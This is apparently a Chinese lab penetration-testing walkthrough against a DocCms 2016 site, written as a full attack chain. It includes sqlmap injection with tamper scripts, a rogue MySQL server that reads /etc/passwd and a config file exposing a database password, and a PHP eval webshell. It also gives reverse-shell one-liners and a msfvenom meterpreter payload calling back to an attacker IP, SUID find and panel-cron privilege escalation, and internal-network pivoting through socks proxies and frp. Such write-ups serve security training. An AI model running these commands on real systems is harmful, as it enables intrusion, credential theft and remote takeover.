因全流程的渗透测试时间较长,上述三台机子的ip地址会有些变动,但不影响阅读。

信息搜集

访问域名:

解析域名

ping www.ddd4.com

主机发现

nmap快速扫描

sudo nmap -Pn -v 10.9.51.69

主机发现_discover

kali升级后,一般网络类的工具都需要sudo

sudo netdiscover -i eht0 -r 10.9.51.69

整段扫描,注意对应的ip段
sudo netdiscover -i eht0 -r 192.168.0.0/24


快速扫描端口_masscan(不好用,使用nmap ip代替)

会自动选择网卡和mac地址

sudo masscan -p 1-65535 192.168.1.25 --rate=1000


也可以指定
sudo masscan -p 1-65535 192.168.1.25 --rate=1000 -e en0 --router-mac 80:3e:48:45:29:c0

显示网关的 MAC 地址

arp 192.168.1.1

➜  ~ arp 192.168.1.1
? (192.168.1.1) at 80:3e:48:45:29:c0 on en0 ifscope [ethernet]

使用nmap进行详细的端口探测

nmap -p 80,21,888,8888 192.168.1.25 -A -sC -oA ddd4-port

─# cat ddd4-port.nmap 
# Nmap 7.91 scan initiated Wed Feb 14 05:27:22 2024 as: nmap -p 80,21,888,8888 -A -sC -oA ddd4-port 192.168.1.25
Nmap scan report for 192.168.1.25
Host is up (0.00045s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     Pure-FTPd
| ssl-cert: Subject: commonName=116.27.229.43/organizationName=BT-PANEL/stateOrProvinceName=Guangdong/countryName=CN
| Not valid before: 2020-04-09T18:40:16
|_Not valid after:  2030-01-07T18:40:16
|_ssl-date: TLS randomness does not represent time
80/tcp   open  http    Apache httpd
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache
|_http-title: \xE6\xB2\xA1\xE6\x9C\x89\xE6\x89\xBE\xE5\x88\xB0\xE7\xAB\x99\xE7\x82\xB9
888/tcp  open  http    Apache httpd
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache
|_http-title: 403 Forbidden
8888/tcp open  http    Ajenti http control panel
|_http-favicon: OSS-Labs BT Panel
| http-robots.txt: 1 disallowed entry 
|_/
| http-title: \xE5\xAE\x89\xE5\x85\xA8\xE5\x85\xA5\xE5\x8F\xA3\xE6\xA0\xA1\xE9\xAA\x8C\xE5\xA4\xB1\xE8\xB4\xA5
|_Requested resource was http://192.168.1.25:8888/login
|_http-trane-info: Problem with XML parsing of /evox/about
MAC Address: 00:0C:29:2E:CB:67 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: Host: 0b842aa5.phpmyadmin

TRACEROUTE
HOP RTT     ADDRESS
1   0.45 ms 192.168.1.25

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 14 05:27:53 2024 -- 1 IP address (1 host up) scanned in 31.48 seconds

gobuster目录爆破模式

默认线程是10,可以使用-t指定

查看帮助信息

gobuster dir -h

gobuster dir -u http://www.ddd4.com/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x 'php,html,txt' -o dir.log --exclude-length  49,11807,261

也可以使用| grep 正则过滤

扫描出/robots.txt

信息收集结果

域名:

主机:

10.9.51.69

端口:

目录:

关键服务:

漏洞利用

源码审计

使用phpstudy安装DocCms2016 (Php) 正式版本

DocCms2016 (Php) 正式版本

下载地址:https://gitee.com/husky/DocCMS/releases/tag/2016

Seay源代码审计系统

点击开始 

网上搜索doccms 2016历史漏洞

搜索功能处参数keyword存在sql注入,使用url二次编码进行绕过。

sqlmap注入测试

测试目标

http://www.ddd4.com/search?keyword=11

sqlmap编码器的位置

/usr/share/sqlmap/tamper


二次编码器
chardoubleencode.py

sqlmap注入测试

sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql -v 1 --tamper chardoubleencode.py



sqlmap -u http://www.ddd4.com/search\?keyword\=11 --dbms mysql -v 1 --tamper chardoubleencode.py --batch --level=5 --risk=3

成功获取到网站admin账号密码但无法进行解密:

通过源码,发现/setup/checkdb.php文件可以连接远程的mysql,所以可以利用mysql的bug读取文件。

mysql客户端任意读取文件漏洞利用

工具:Rogue-MySql-Server

下载地址:https://github.com/jib1337/Rogue-MySQL-Server

下载到kali

python rogue_mysql_server.py

根据源码审计拼接url

uname 随意
pwd 随意
dbhost kali ip

uname 随意 pwd 随意 dbhost kali ip

在kali firefox浏览器中访问url

http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=10.9.50.150&action=chkdb 

目标主机,下面的文件

/etc/passwd

2024-02-18 22:25:46,746:INFO:Result: '\x02root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false\nsystemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false\nsystemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false\nsystemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false\nsyslog:x:104:108::/home/syslog:/bin/false\n_apt:x:105:65534::/nonexistent:/bin/false\nmessagebus:x:106:110::/var/run/dbus:/bin/false\nuuidd:x:107:111::/run/uuidd:/bin/false\nlightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false\nwhoopsie:x:109:117::/nonexistent:/bin/false\navahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false\navahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false\ndnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false\ncolord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false\nspeech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false\nhplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false\nkernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false\npulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false\nrtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false\nsaned:x:119:127::/var/lib/saned:/bin/false\nusbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false\nhost123:x:1000:1000:host123,,,:/home/host123:/bin/bash\nsmmta:x:121:129:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false\nsmmsp:x:122:130:Mail Submission Program,,,:/var/lib/sendmail:/bin/false\nwww:x:1001:1001::/home/www:/sbin/nologin\nmysql:x:1002:1002::/home/mysql:/sbin/nologin\nguest-5bxieb:x:999:999:\xe8\xae\xbf\xe5\xae\xa2:/tmp/guest-5bxieb:/bin/bash\nsshd:x:123:65534::/var/run/sshd:/usr/sbin/nologin\nguest-sbzrvw:x:998:998:\xe8\xae\xbf\xe5\xae\xa2:/tmp/guest-sbzrvw:/bin/bash\n'

添加到rogue_mysql_server.py

filelist = (
    '/etc/passwd',
    '/www/wwwroot/www.ddd4.com/config/doc-config-cn.php',
)

运行后,获取到内容 

doc-config-cn.php

2024-02-18 22:41:27,950:INFO:Result: "\x02<?php\r\n//\xe6\x95\xb0\xe6\x8d\xae\xe5\xba\x93\xe9\x85\x8d\xe7\xbd\xae\xe5\xad\x97\xe6\xae\xb5\r\ndefine('DB_HOSTNAME','localhost');\r\ndefine('DB_USER','www_ddd4_com');\r\ndefine('DB_PASSWORD','x4ix6ZrM7b8nFYHn');\r\ndefine('DB_DBNAME','www_ddd4_com');\r\ndefine('TB_PREFIX','doc_');\r\n//\xe6\xa8\xa1\xe6\x9d\xbf\xe9\x85\x8d\xe7\xbd\xae\xe5\xad\x97\xe6\xae\xb5\r\ndefine('WEBOPEN',true);\r\ndefine('WEBSIZE','500');\r\ndefine('WEBSIZECOUNTS','53');\r\ndefine('WEBURL','');    //PC \xe5\x9f\x9f\xe5\x90\x8d\r\ndefine('MOBILEURL','');  //\xe7\xa7\xbb\xe5\x8a\xa8\xe5\x9f\x9f\xe5\x90\x8d\r\ndefine('SITENAME','\xe7\xa8\xbb\xe5\xa3\xb3\xe4\xbc\x81\xe4\xb8\x9a\xe5\xbb\xba\xe7\xab\x99\xe7\xb3\xbb\xe7\xbb\x9f[DocCms X1.0]2016\xe6\xad\xa3\xe5\xbc\x8f\xe7\x89\x88');\r\ndefine('SITEKEYWORDS','123');\r\ndefine('SITESUMMARY','');\r\ndefine('HTMLPATH','/html');\r\ndefine('UPLOADPATH','/upload/');\r\ndefine('TIMEZONENAME','8');\r\ndefine('STYLENAME','doccms_model_1');      //PC \xe6\xa8\xa1\xe6\x9d\xbf\r\ndefine('MOBILENAME','mobile');      //\xe7\xa7\xbb\xe5\x8a\xa8\xe6\xa8\xa1\xe6\x9d\xbf\r\ndefine('URLREWRITE',true);\r\ndefine('CACHETIME','0');\r\ndefine('DOCPING',false);\r\n//\xe8\xaf\x84\xe8\xae\xba\xe5\xae\xa1\xe6\xa0\xb8\r\ndefine('COMMENTAUDITING',false);\r\n//\xe7\x95\x99\xe8\xa8\x80\xe5\xae\xa1\xe6\xa0\xb8\r\ndefine('GUESTBOOKAUDITING',true);\r\n\r\ndefine('SKINROOT','skins');\r\n//\xe7\xb3\xbb\xe7\xbb\x9f\xe5\xbc\x80\xe5\xa7\x8b\xe8\xbf\x90\xe8\xa1\x8c\xe6\x97\xb6\xe9\x97\xb4\r\ndefine('doccmsbirthday','2016-12-27');//\xe6\xad\xa4\xe5\xa4\x84\xe5\xa6\x82\xe6\x97\xa0\xe9\x9c\x80\xe8\xa6\x81\xe8\xaf\xb7\xe4\xb8\x8d\xe8\xa6\x81\xe9\x9a\x8f\xe6\x84\x8f\xe6\x9b\xb4\xe6\x94\xb9\xef\xbc\x8c\xe5\x90\xa6\xe5\x88\x99\xe5\xb0\x86\xe6\x97\xa0\xe6\xb3\x95\xe6\xad\xa3\xe5\xb8\xb8\xe8\xbf\x90\xe8\xa1\x8c\r\n//\xe7\xbc\x96\xe8\xbe\x91\xe5\x99\xa8\r\ndefine('EDITORSTYLE','kindeditor');\r\n//\xe9\xbb\x98\xe8\xae\xa4\xe8\xae\xbe\xe7\xbd\xae\r\ndefine('ABSPATH',dirname(__FILE__).'/../');\r\ndefine('ROOTPATH',''); //\xe7\xb1\xbb\xe4\xbc\xbc\xe4\xba\x8e /xmlol (\xe6\xb3\xa8\xe6\x84\x8f\xe5\x90\x8e\xe9\x9d\xa2\xe4\xb8\x8d\xe5\xb8\xa6 /)\r\ndefine('VERSION','X2016 1.1.0101');\r\n$fileIndex \t= 'index.html';\r\n$fileCommon = 'common.html';\r\n//\xe6\xb0\xb4\xe5\x8d\xb0\xe5\x9b\xbe\xe7\x89\x87\r\ndefine('ISWATER',true);\r\ndefine('WATERIMGS','/inc/img/system/doccms.png');\r\n//\xe7\xbc\xa9\xe7\x95\xa5\xe5\x9b\xbe\xe8\x83\x8c\xe6\x99\xaf\xe9\xa2\x9c\xe8\x89\xb2\xe8\xae\xbe\xe7\xbd\xae\r\ndefine('paint_bgcolor','0xffffff');\r\n//\xe5\x88\x86\xe9\xa1\xb5\xe6\xa0\xb7\xe5\xbc\x8f\r\ndefine('PAGESTYLE','0'); \r\n//\xe9\xa6\x96\xe9\xa1\xb5\xe8\xb0\x83\xe7\x94\xa8\xe6\xa8\xa1\xe6\x9d\xbf\xe5\x9b\xbe\xe7\x89\x87\xe7\x9a\x84\xe9\xbb\x98\xe8\xae\xa4\xe5\xb0\xba\xe5\xaf\xb8\r\ndefine('articleWidth','140');\r\ndefine('articleHight','105');\r\ndefine('listWidth','140');\r\ndefine('listHight','105');\r\ndefine('productWidth','140');\r\ndefine('productHight','105');\r\ndefine('pictureWidth','140');\r\ndefine('pictureHight','105');\r\n//\xe5\x88\x97\xe8\xa1\xa8\xe6\xa8\xa1\xe5\x9d\x97\xe9\xa1\xb5\xe7\xbc\xa9\xe7\x95\xa5\xe5\x9b\xbe\xe5\xa4\xa7\xe5\xb0\x8f\xe8\xae\xbe\xe7\xbd\xae\r\n\r\ndefine('moduleUserWidth','120');\r\ndefine('moduleUserHight','120');\r\n/*\xe4\xb8\x8a\xe4\xbc\xa0\xe5\x9b\xbe\xe7\x89\x87\xe7\x9a\x84\xe5\xa4\xa7\xe5\xb0\x8f\xe8\xae\xbe\xe7\xbd\xae*/\r\ndefine('productMiddlePicWidth','560');\r\ndefine('productMiddlePicHight','420');\r\ndefine('productSmallPicWidth','300');\r\ndefine('productSmallPicHight','225');\r\ndefine('pictureMiddlePicWidth','560');\r\ndefine('pictureMiddlePicHight','420');\r\ndefine('pictureSmallPicWidth','300');\r\ndefine('pictureSmallPicHight','225');\r\ndefine('videoWidth','300');\r\ndefine('videoHight','225');\r\ndefine('userWidth','120');\r\ndefine('userHight','120');\r\ndefine('linkersWidth','90');\r\ndefine('linkersHight','30');\r\n//\xe5\x86\x85\xe5\xae\xb9\xe9\xa1\xb5\xe5\x88\x97\xe8\xa1\xa8\xe6\xa8\xa1\xe5\x9d\x97\xe5\x8d\x95\xe9\xa1\xb5\xe6\x98\xbe\xe7\xa4\xba\xe9\xbb\x98\xe8\xae\xa4\xe6\x9d\xa1\xe6\x95\xb0\r\ndefine('listCount','12');\r\ndefine('pictureCount','12');\r\ndefine('productCount','6');\r\ndefine('videoCount','12');\r\ndefine('guestbookCount','10');\r\ndefine('commentCount','6');\r\ndefine('jobsCount','20');\r\ndefine('calllistCount','6');\r\ndefine('downloadCount','10');\r\n//\xe5\x90\x8e\xe5\x8f\xb0\xe7\x99\xbb\xe5\xbd\x95\xe7\xbb\x91\xe5\xae\x9aIP\r\ndefine('LOGINIP','');\r\n//SMTP\xe9\x82\xae\xe7\xae\xb1\xe8\xae\xbe\xe7\xbd\xae\r\ndefine('productISON',false);\r\ndefine('orderISON',false);\r\ndefine('guestbookISON',false);\r\ndefine('smtpPort','');\r\ndefine('smtpServer','');\r\ndefine('smtpId','');\r\ndefine('smtpPwd','');\r\ndefine('smtpSender','');\r\ndefine('smtpReceiver','');\r\n//\xe6\x94\xaf\xe4\xbb\x98\xe5\xae\x9d\xe8\xae\xbe\xe7\xbd\xae\r\ndefine('PAY_ISPAY','0');\r\ndefine('PAY_ISJS','1');\r\ndefine('PAY_PARTNER','');\r\ndefine('PAY_KEY','');\r\ndefine('PAY_SELLER','');\r\ndefine('PAY_SHOW_URL','');\r\ndefine('PAY_MAINNAME','');\r\n//\xe8\xb4\xa2\xe4\xbb\x98\xe9\x80\x9a\xe8\xae\xbe\xe7\xbd\xae\r\ndefine('PAY_ISPAY_TEN','0');\r\ndefine('PAY_ISJS_TEN','1');\r\ndefine('PAY_PARTNER_TEN','');\r\ndefine('PAY_KEY_TEN','');\r\ndefine('PAY_SELLER_TEN','');\r\ndefine('PAY_SHOW_URL_TEN','');\r\ndefine('PAY_MAINNAME_TEN','');\r\n\r\nfunction get_skin_root()\r\n{\r\n\treturn ROOTPATH.'/'.SKINROOT.'/'.STYLENAME.'/';\r\n}\r\nfunction get_abs_skin_root()\r\n{\r\n\treturn ABSPATH.'/'.SKINROOT.'/'.STYLENAME.'/';\r\n}\r\nfunction get_root_path()\r\n{\r\n\treturn ROOTPATH;\r\n}"

mysql的配置信息

'DB_PASSWORD','x4ix6ZrM7b8nFYHn'

'DB_DBNAME','www_ddd4_com'

'TB_PREFIX','doc_'

'DB_HOSTNAME','localhost'

'DB_USER','www_ddd4_com'

current user: 'www_ddd4_com@localhost'

前面端口扫描发现目标机器的3306端口是开放的,直接进行连接:

PHP代码审计数据库连接业务漏洞

连接成功后,替换网站管理员admin账户的密码,查看admin/login.php,发现对密码使用加密算法进行了加密。

通过源码审计,获得明文密码的加密值。

我们来使用加密算法class.docencryption.php,对admin进行加密。

将加密后的值进行替换。

使用密码admin登录到后台:

PHP代码审计后台任意文件上传漏洞挖掘

通过代码审计修改filename为doccms_20120701_247512_1.sql

代码审计后,得到上传文件的路径

http://www.ddd4.com/temp/data/doccms_20120701_247512_1.sql

上传html倒是可以

可以进行文件上传但是基本不具备利用价值,就是不能拿到webshell

拿webshell

编辑后台模板拿webshell

通过网站查找历史漏洞,可以使用模版来getshell:

<?php phpinfo();?>

这里刚开始写入普通的一句话木马,使用蚁剑连接,显示为空,但是查看phpinfo文件并没有将eval函数写入到disable_function当中,换了冰蝎可以连接成功。使用中国菜刀也连接成功。

<?php phpinfo();?>
<?php eval($_POST['cmd']);?>

使用中国菜刀进行连接

但是在虚拟终端中执行命令显示失败,通过phpinfo查看disable_function,发现禁止了很多命令的执行。

bypass_disablefunc执行命令

通过LD_PRELOAD绕过disable_functions

下载地址:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

将文件夹里的.so文件与.php文件上传到网站的目录下面:

然后访问执行命令

http://www.ddd4.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so


cmd调整为

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.50.150 9001 >/tmp/f

在kali设置监听

nc -nvlp 9001

直接使用sh反弹shell,反弹成功但是执行命令无反应:

/bin/sh -i >& /dev/tcp/192.168.0.2/3333 0>&1

使用BurpSuit时,使用control+u编码,一般需要编码

已监听到9001,但是断掉了

多种分别测试,看是否可以反弹,也反弹失败,看来只能执行命令,而无法反弹shell

nc -e /bin/sh 10.9.50.150 9001


bash -i >& /dev/tcp/10.9.50.150/9001 0>&1

metasploit生成攻击载荷和监听建立交互shell

metasploit生成攻击载荷

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.9.50.150 LPORT=13777 -f elf > ddd4

后面可以跟路径

上传playload

kali设置监听

msfconsole


使用模块
use multi/handler

设置payload
set payload linux/x86/meterpreter/reverse_tcp

show options

set LHOST 10.9.50.150

set LPORT 13777


开启监听

exploit

执行ddd4,注意编码

添加权限
chmod 777 ddd4

执行
./ddd4

监听成功

查看用户类型,也就是权限,结论是普通用户权限

使用python返回一个交互式shell

查看文件获取到第一个flag

解决建立交互shell出现乱码的情况--福利,可以忽略

我们使用shell的话,它的用户是切换不了的,而且会记录我们的操作记录,我们还需要再生成一个shell。

输入方向键也会出现乱码的情况

再建一个交互的shell

kali设置监听

nc -lvnp 8888

meterpreter执行

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.50.150 8888 >/tmp/f

但是还是有乱码的情况,这是我们可以按ctrl +z ,把它放到后台,再输入fg的时候,就可以把刚才的shell调用出来。

退出使用

exit

先设置好python shell

python -c 'import pty;pty.spawn("/bin/bash")'

按ctrl +z ,把它放到后台

再设置

stty raw -echo

再输入fg的时候,就可以把刚才的shell调用出来

提权

linux提权三大信息收集工具的使用和说明

三个工具:

LinEnum.sh:https://github.com/rebootuser/LinEnum

linux-exploit-suggester.sh

linuxprivchecker.py

LinEnum.sh

下载地址:https://github.com/rebootuser/LinEnum

参考:

https://blog.csdn.net/weixin_54977781/article/details/130462847

用python内置的web服务,kali执行

sudo python -m SimpleHTTPServer 80 

kali ip地址测试:http://10.9.50.150/

这样就可以进行文件的下载, 也可以使用wget下载

切换为 tmp 目录,再执行 LinEnum.sh 文件。

cd /tmp                        //切换 tmp 目录.
 
chmod +x LinEnum.sh            //复制一个可执行权限.
 
./LinEnum.sh > bgxg.txt        //执行文件,把文件保存在bgxg.txt文件中

linux-exploit-suggester.sh,linuxprivchecker.py

参考:https://blog.csdn.net/weixin_54977781/article/details/130462847

linuxsuid提权

命令行查找suid,发现可以利用find命令来进行提权。

finsd / -type f -perm -u=s 2>/dev/null 
root@host123:/tmp# find / -type f -perm -u=s 2>/dev/null 
/lib/uncompress.so
/bin/ping
/bin/umount
/bin/su
/bin/ping6
/bin/mount
/bin/fusermount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/pppd
/usr/sbin/sensible-mda
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/procmail
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/vmware-user-suid-wrapper
/usr/bin/find
root@host123:/tmp#

更为优雅的方式

find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

find . -exec whoami \; -quit 提权成功

小tips

id 查看当前的用户类型


查看文件的权限

touch test

find test -exec whoami \;

root@host123:/tmp# id
uid=0(root) gid=0(root) 组=0(root)
root@host123:/tmp# touch test
root@host123:/tmp# find test -exec whoami \;
root
root@host123:/tmp#

find具有suid权限,所有使用

如果直接使用

cat /etc/shadow    不能查看
但是使用

find test -exec cat /etc/shadow  确实可以的

sudo提权

linux宝塔控制面板提权

翻看文件发现宝塔的账户密码

登录到宝塔上,通过计划任务来反弹shell 进行提权

设置监听

kali


nc -lvnp 8881

执行

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.50.150 8881 >/tmp/f


也可以使用


bash -i >& /dev/tcp/10.9.50.150/8881 0>&1

成功获取到第二个flag:

内网渗透

开启了两个交互shell

meterpreter shell

使用现在的root权限的shell来运行前面我们生产的木马文件,来获取一个meterpreter。

宝塔交互shell

使用宝塔交互shell,运行ddd4 playload后,再使用metasploit监听,会获得root权限。

使用shell,查看/etc/shadow

10.10.10.137是内网的

查看绑定的域名

ctrl+c从shell回到meterpreter,查看路由信息

增加路由

run autoroute -s 10.10.10.0/24

小tips

在这个上下文中,autoroute 是 Meterpreter 的一个模块,它用于在攻击者控制的 Meterpreter 会话中添加一个路由。这意味着通过 Meterpreter 会话,攻击者可以访问目标网络上的其他子网,即使这些子网在直接连接的网络之外。

在您提供的输出中,run autoroute -s 10.10.10.0/24 命令被执行,这条命令的作用是在 Meterpreter 会话的路由表中添加一个新的路由。这个路由允许攻击者通过 Meterpreter 会话访问 10.10.10.0/24 子网。这意味着任何发往该子网的流量都将通过与 Meterpreter 会话相连的主机进行转发。

具体来说,这条路由是添加到了运行 Meterpreter 的主机的路由表中。这样,攻击者就可以通过该主机来访问 10.10.10.0/24 网络,即便攻击者的机器并不直接连在那个网络上。

[+] Added route to 10.10.10.0/255.255.255.0 via 10.9.51.69 表明了新路由已经成功添加,并且流量将会通过 10.9.51.69 这个地址进行路由。这个地址很可能是当前 Meterpreter 会话的目标机器的 IP 地址。

需要注意的是,Meterpreter 的脚本已经被标记为已废弃,建议使用相应的模块命令来替代。在这个例子中,应该使用 post/multi/manage/autoroute 模块来代替 run autoroute。例如,使用以下命令来添加路由:

use post/multi/manage/autoroute set SESSION  set CMD add set SUBNET 10.10.10.0 set NETMASK 255.255.255.0 run 

这里 <session_id> 是当前 Meterpreter 会话的 ID。这些命令通过 Metasploit 的 autoroute post-exploitation 模块来实现相同的功能,但以一种更新和支持的方式。

查看meterpreter会话的路由

run autoroute -p

使用meterpreter开启代理,进入内网里面

启用socks5模块,kali 2020.1内置的是socks4,kali 2021内置的是socks5

meterpreter会话退到后台,background

搜索sock5模块

use auxiliary/server/socks_proxy

show options

msf6 auxiliary(server/socks_proxy) > show options
Module options (auxiliary/server/socks_proxy):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        Proxy password for SOCKS5 listener
   SRVHOST   0.0.0.0          yes       The address to listen on
   SRVPORT   1080             yes       The port to listen on
   USERNAME                   no        Proxy username for SOCKS5 listener
   VERSION   5                yes       The SOCKS version to use (Accepted: 4a, 5)
Auxiliary action:
   Name   Description
   ----   -----------
   Proxy  Run a SOCKS proxy server
msf6 auxiliary(server/socks_proxy) >


启动,代理进入内网

run

kali配置

vim /etc/proxychains4.conf

绑定域名

vim /etc/hosts

proxychains4 firefox http://www.ddd5.com

执行扫描

proxychains4 nmap -sT -Pn 10.10.10.142

socks4代理一般不稳定,此时可以使用socks5的代理,低版本的kali是不支持的

frp搭建socks5隧道,proxychains4代理转发-强烈建议,稳定的一笔

frp下载地址:https://github.com/fatedier/frp/releases

版本:frp_0.51.1_linux_amd64.tar.gz

分别上传至kali和web服务器,解压

kali作为服务

配置frps.ini

[common] 
bind_addr = 0.0.0.0 
bind_port = 7001

启动服务

给予权限chmod 777 /frpc,然后cd 到这个目录执行./frps -c ./frps.ini

web服务器作为客户端

配置frpc.ini

[common]
server_addr = 10.9.49.162
server_port = 7001
 
[socks5]
type = tcp
remote_port = 8082
plugin = socks5

启动客户端

给予权限chmod 777 /frpc,然后cd 到这个目录执行./frpc -c ./frpc.ini

配置proxychains4代理转发

配置浏览器使用代理

火狐浏览器下载FoxyProxy插件

配置插件

访问目标网站

Q.E.D.

  • reword 您的打赏,就是俺创作的动力